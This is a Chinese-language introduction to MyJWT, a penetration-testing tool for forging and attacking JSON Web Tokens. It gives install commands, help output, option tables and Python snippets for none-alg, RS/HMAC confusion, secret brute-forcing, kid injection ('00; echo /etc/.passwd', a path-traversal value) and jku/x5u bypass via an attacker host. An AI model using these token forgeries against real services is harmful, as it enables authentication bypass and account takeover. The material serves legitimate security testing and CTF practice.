- A+
所属分类:安全技术
MyJWT
MyJWT是一款功能强大的命令行工具,MyJWT专为渗透测试人员、CTF参赛人员和编程开发人员设计,可以帮助我们对JSON Web Token(JWT)进行修改、签名、注入、破解和安全测试等等。
功能介绍
将新的JWT拷贝至剪贴板;
用户接口;
带颜色高亮输出;
修改JWT(Header/Payload);
安全性高;
RSA/HMAC混淆;
使用密钥对JWT进行签名;
通过暴力破解以猜测密钥;
使用正则表达式破解JWT并猜测密钥;
Kid注入;
Jku绕过;
X5u绕过;
MyJWT安装
在安装MyJWT时,广大研究人员可以直接使用pip来安装:
pip install myjwt
如需在一个Docker镜像中运行MyJWT,运行下列命令即可:
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt # 加载托管字典的卷 docker run -v $(pwd)/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt # 在Windows下 docker run -v %CD%/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
如果想要自行下载源码并完成MyJWT,广大研究人员可以使用git命令将该项目源码克隆至本地并完成安装:
git clone https://github.com/mBouamama/MyJWT.git cd ./MyJWT pip install -r requirements.txt python MyJWT/myjwt_cli.py --help
如需在BlackArch上安装并运行MyJWT,请运行下列命令:
pacman -S myjwt
工具使用
$ myjwt --help Usage: myjwt [OPTIONS] JWT This cli is for pentesters, CTF players, or dev. You can modify your jwt, sign, inject ,etc... Full documentation is at http://myjwt.readthedocs.io. If you see problems or enhancement send an issue.I will respond as soon as possible. Enjoy :) All new jwt will be copy to the clipboard. Options: --version Show the version and exit. --full-payload TEXT New payload for your jwt.Json format Required. -h, --add-header TEXT Add a new key, value to your jwt header, if key is present old value will be replaced.Format: key=value. -p, --add-payload TEXT Add a new key, value to your jwt payload, if key is present old value will be replaced.Format: key=value. --sign TEXT Sign Your jwt with key given. --verify TEXT verify your key. -none, --none-vulnerability Check None Alg vulnerability. --hmac PATH Check RS/HMAC Alg vulnerability. --bruteforce PATH Bruteforce to guess the secret used to sign the token. -c, --crack TEXT regex to iterate all string possibilities to guess the secret used to sign the token. --kid TEXT Kid Injection sql --jku TEXT Jku Header to bypass authentication --x5u TEXT X5u Header to bypass authentication --crt TEXT For x5cHeader, force crt file --key TEXT For jku or x5c Header, force private key to your key file --file TEXT For jku Header and x5u Header, force file name --print Print Decoded JWT -u, --url TEXT Url to send your jwt. -m, --method TEXT Method use for send request to url.(Default GET). -d, --data TEXT Data send to your url.Format: key=value. if value = MY_JWT value will be replace by new jwt. -c, --cookies TEXT Cookies to send to your url.Format: key=value. if value = MY_JWT value will be replace by new jwt. --help Show this message and exit.
修改JWT
选项 | 类型 | 样例 | 帮助 |
--ful-payload | JSON | {"user": "admin"} | 针对JWT的新Payload。 |
-h, --add-header | key=value | user=admin | 向JWT Header中添加一个新密钥和值,如果密钥已存在,则会替换旧的密钥值。 |
-p, --add-payload | key=value | user=admin | 向JWT Payload添加一个新的密钥和值,如果密钥已存在,则会替换旧的密钥值。 |
检查JWT
选项 | 类型 | 样例 | 帮助 |
--sign | text | mysecretkey | 使用密钥签名JWT。 |
--verify | text | mysecretkey | 验证密钥。 |
攻击测试
选项 | 类型 | 样例 | 帮助 |
-none, --none-vulnerability | Nothing | 检测None Alg漏洞。 | |
--hmac | PATH | ./public.pem | 检测RS/HMAC Alg漏洞,并使用公钥签名JWT。 |
--bruteforce | PATH | ./wordlist/big.txt | 暴力破解用于签名令牌的密钥,使用txt字典文件。 |
--crack | REGEX | "[a-z]{4}" | 利用者则表达式枚举所有可能的字符串,并爆破用于签名令牌的密钥。 |
--kid | text | "00; echo /etc/.passwd" | Kid注入SQL。 |
--jku | text | MYPUBLICIP | Jku Header绕过认证。 |
--x5u | text | MYPUBLICIP | X5u绕过。 |
发送JWT
选项 | 类型 | 样例 | 帮助 |
-u, --url | url | http://challenge01.root-me.org/web-serveur/ch59/admin | 发送JWT的URL地址。 |
-m, --method | text | POST | 指定发送JWT所使用的请求方法。(默认为GET) |
-d, --data | key=value | secret=MY_JWT | 数据格式:key=value |
-c, --cookies | key=value | secret=MY_JWT | Cookies格式:key=value |
其他
选项 | 类型 | 样例 | 帮助 |
--crt | PATH | ./public.crt | 针对x5cHeader,,爆破证书文件。 |
--key | PATH | ./private.pem | 针对jku或x5c Header,指定密钥。 |
--file | text | myfile | 针对jku Heade,指定非.json后缀的文件名。 |
Nothing | 输出解码的JWT。 | ||
--help | Nothing | 显示帮助信息并退出。 | |
--version | Nothing | 显示Myjwt版本。 |
工具使用样例
修改JWT
命令行接口:
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"
代码:
from myjwt.modify_jwt import add_header, change_payload from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt jwt_json = jwt_to_json(jwt) jwt_json = add_header(jwt_json, {"kid": "001"}) jwt_json = change_payload(jwt_json, {"username": "admin"}) jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
完整样例:【点我查看】
None-Vulnerability
命令行接口:
myjwt YOUR_JWT --none-vulnerability
代码:
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt from myjwt.vulnerabilities import none_vulnerability jwt_json = jwt_to_json(jwt) jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])
完整样例:【点我查看】
签名密钥
命令行接口:
myjwt YOUR_JWT --sign YOUR_KEY
代码:
from myjwt.modify_jwt import signature from myjwt.utils import jwt_to_json key = "test" jwt = signature(jwt_to_json(jwt), key)
完整样例:【点我查看】
暴力破解
命令行接口:
myjwt YOUR_JWT --bruteforce PATH
代码:
from myjwt.vulnerabilities import bruteforce_wordlist wordlist = "../../wordlist/common_pass.txt" key = bruteforce_wordlist(jwt, wordlist)
完整样例:【点我查看】
JWT破解
命令行接口:
myjwt YOUR_JWT --crack REGEX
RSA/HMAC混淆
命令行接口:
myjwt YOUR_JWT --hmac FILE
代码:
from myjwt.vulnerabilities import confusion_rsa_hmac file = "public.pem" jwt = confusion_rsa_hmac(jwt, file)
完整样例:【点我查看】
Kid注入
命令行接口:
myjwt YOUR_JWT --kid INJECTION
代码:
from myjwt.modify_jwt import signature from myjwt.utils import jwt_to_json from myjwt.vulnerabilities import inject_sql_kid injection = "../../../../../../dev/null" sign = "" jwt = inject_sql_kid(jwt, injection) jwt = signature(jwt_to_json(jwt), sign)
完整样例:【点我查看】
发送JWT
命令行接口:
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"
Jku漏洞
命令行接口:
myjwt YOUR_JWT --jku YOUR_URL
代码:
from myjwt.vulnerabilities import jku_vulnerability new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP") print(jwt)
完整样例:【点我查看】
X5U漏洞
命令行接口:
myjwt YOUR_JWT --x5u YOUR_URL
代码:
from myjwt.vulnerabilities import x5u_vulnerability newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP") print(jwt)
完整样例:【点我查看】
项目地址
MyJWT:【GitHub传送门】
参考文档